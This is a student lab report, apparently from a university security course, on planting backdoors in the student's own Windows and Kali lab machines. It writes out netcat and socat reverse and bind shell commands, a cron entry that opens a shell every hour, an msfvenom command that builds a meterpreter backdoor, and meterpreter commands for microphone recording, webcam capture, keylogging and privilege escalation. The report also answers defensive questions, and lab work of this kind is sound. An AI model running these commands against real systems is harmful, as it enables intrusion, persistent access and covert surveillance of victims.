实验内容
1、使用netcat获取主机操作Shell,cron启动
2、使用Socat获取主机操作Shell, 任务计划启动
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
基础问题回答
- 问:例举你能想到的一个后门进入到你系统中的可能方式?
- 网页挂马
- 通过U盘、邮件或盗版软件传播
- 编译器或操作系统中存在的
- 问:例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:开机自启动、修改注册表项、诱导用户双击运行
- Linux:利用cronta将后门设为定时启动
- 问:Meterpreter有哪些给你映像深刻的功能?
- 获取被控主机的录音、录像、截图、键盘输入记录
- 几乎可以肆意妄为
- 问:如何发现自己有系统有没有被安装后门?
- 开启防火墙,查看开启的端口及对应的进程
- 安装杀毒软件,实时防护,并定期对电脑进行检查
- 查看任务计划程序、开机自启动项、注册表项中是否有可疑程序
常用后门工具
Netcat
Netcat是一个底层工具,进行基本的TCP UDP数据收发,主要用于调试领域、传输领域甚至黑客攻击领域。
windows 获取 linux 的shell
1、在Windows下使用ipconfig查看本机IP为192.168.1.239
2、使用ncat.exe程序监听本机的5215端口ncat.exe -l -p 5215
3、在Kali环境下,使用nc 192.168.1.239 5215 -e /bin/sh
指令反向连接Windows主机的5215端口
4、成功获得Kali的shell,可运行任何指令,如ls
linux 获取 winsdows 的shell
1、在Kali环境中使用ifconfig查看IP为192.168.116.128
2、使用nc指令监听5215端口nc -l -p 5215
3、在Windows下,使用ncat.exe -e cmd.exe 192.168.116.128 5215
指令反向连接Kali主机的5215端口
4、Kali下可以看到Windows的命令提示
使用nc传输数据
1、Windows下使用ncat.exe -l 5215
指令监听5215端口
2、kali使用nc 192.168.1.239 5215
指令反弹连接到Windows的5215端口
3、连接建立成功,双方可以相互传输数据
使用nc传文件
1、Windows下监听5215端口,并把收到的数据保存到5215.txt中,ncat.exe -l 5215 > 5215.txt
2、kali使用nc 192.168.1.239 5215 < 5215.in
反弹连接到Windows的5215端口
3、连接建立成功,Win可以收到kali发来的文件
Socat
- socat是ncat的增强版,它使用的格式是
socat [options] <address> <address>
,其中两个address是必选项,而options是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
MSFmeterpreter
- 这是一个生成后门程序的平台,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 参数说明
-
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode. -
-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。 -
-e
使用的编码器,用于对shellcode变形,为了免杀。 -
-i
编码器的迭代次数。如上即使用该编码器编码5次。 -
-b
badchar是payload中需要去除的字符。 -
LHOST
是反弹回连的IP -
LPORT
是回连的端口 -
-f
生成文件的类型 -
>
输出到哪个文件
-
实验内容
任务一:使用netcat获取主机操作Shell,cron启动
这里将wwindows作为攻击机,kali作为被攻击机
1、Windows中使用ncat.exe -l 5215
监听5215端口
2、在Kali中,使用crontab -e
指令编辑一条定时任务,选择编辑器时选择"3"
3、在底行插入43 * * * * /bin/netcat 192.168.1.239 5215 -e /bin/sh(意为在每个小时的第43分钟反向连接Windows的5215端口)
4、:wq
保存退出配置即生效,可通过crontab -l
查看
5、在系统时间到第43分时,windows获得kali shell
任务二:使用socat获取主机操作Shell, 任务计划启动
1、在Wiondws中搜索任务计划程序,在弹出的窗口右侧选择创建任务
2、填写任务名称20165215
后,选择触发器
-新建
,设为工作站锁定时
3、选择新建
,再程序或脚本中选择socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5215 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5215,同时把cmd.exe的stderr重定向到stdout上,点击确定。
4、在列表中右键选中刚刚创建的任务,点击运行
5、在kali中输入socat - tcp:192.168.1.239:5215
(IP为windows的IP),可以发现已经成功获得一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 -f exe > 20165215_backdoor.exe
(IP为kali的IP)生成后门程序20165215_backdoor.exe
2、在Windows中使用ncat.exe -lv 5215 > 20165215_backdoor.exe
使被控主机就进入接收文件模式,其中-lv
是显示当前的连接状态
3、kali中输入nc 192.168.1.239 5215 < 20165215_backdoor.exe
(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上
4、在kali中新打开一个终端,使用msfconsole
进入msf控制台,设置各项参数,执行监听
5、输入use exploit/multi/handler
使用监听模块,设置payload
6、输入set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload
7、输入set LHOST 192.168.116.128
(此处是Kali的IP),和生成后门程序时指定的IP相同
8、输入set LPORT 5215
,同样要使用相同的端口
9、输入show options
进行查看,可以看到相应的ip地址和端口号已经变成我们所设置的
10、输入exploit
开始监听
11、在windows端运行后门程序20165215_backdoor.exe
12、此时kali获得Windows主机的连接,并且得到了远程控制的shell
任务四:使用meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
重复任务三的操作直至exploit
1、使用record_mic
获取主机音频
2、使用webcam_snap
获取主机摄像头
3、使用screenshot
进行截屏
4、使用keyscan_start
指令开始记录击键的过程,使用keyscan_dump
指令读取击键的记录
5、使用getuid
指令查看当前用户,使用getsystem
指令进行提权
实验过程中遇到的问题
- 执行
20165215_backdoor.exe
程序时出现如下错误:
- 解决方法:关闭杀毒软件和防火墙后重新运行
实验总结与体会
这次的实验内容很有趣,使我们对后门的了解更加深入,也更深切地体会到netcat、socat和MSFmeterpreter等后门工具的强大。懂得攻击方法后,在平常使用中,可以很好地提高我们的防范意识,比如我早就机智地将摄像头贴上了小图标~